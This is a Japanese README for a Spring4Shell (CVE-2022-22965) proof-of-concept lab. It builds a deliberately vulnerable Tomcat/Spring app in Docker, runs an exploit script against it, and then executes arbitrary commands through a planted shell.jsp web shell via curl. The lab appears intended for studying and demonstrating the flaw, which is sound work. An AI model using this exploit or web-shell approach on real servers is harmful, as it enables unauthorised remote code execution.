Spring4Shell

Spring4Shell (CVE-2022-22965) の概念実証コードです。脆弱なTomcatサーバー上で動作する、Spring4Shellの脆弱性を持つアプリケーションを含んでいます。

この脆弱性の詳細

• https://websecured.io/blog/624411cf775ad17d72274d16/spring4shell-poc
• https://www.springcloud.io/post/2022-03/spring-0day-vulnerability
• https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement

使用方法

イメージのビルド

docker build . -t spring4shell

コンテナの実行

docker run -p 80:8080 spring4shell

必要に応じてデバッガポートも公開して実行することもできます：

docker run -p 80:8080 –p 5005:5005 spring4shell

IntelliJ IDEAでリモートデバッガを設定する方法の詳細は、元のブログ記事を参照してください。

エクスプロイトの実行

./exploit.sh --url http://localhost/spring4shell/hello --dir spring4shell

その後、以下のように任意のコマンドをリモートで実行できます：

curl http://localhost/spring4shell/shell.jsp?cmd=id --output -

...または上記のURLにブラウザでアクセスしても実行できます。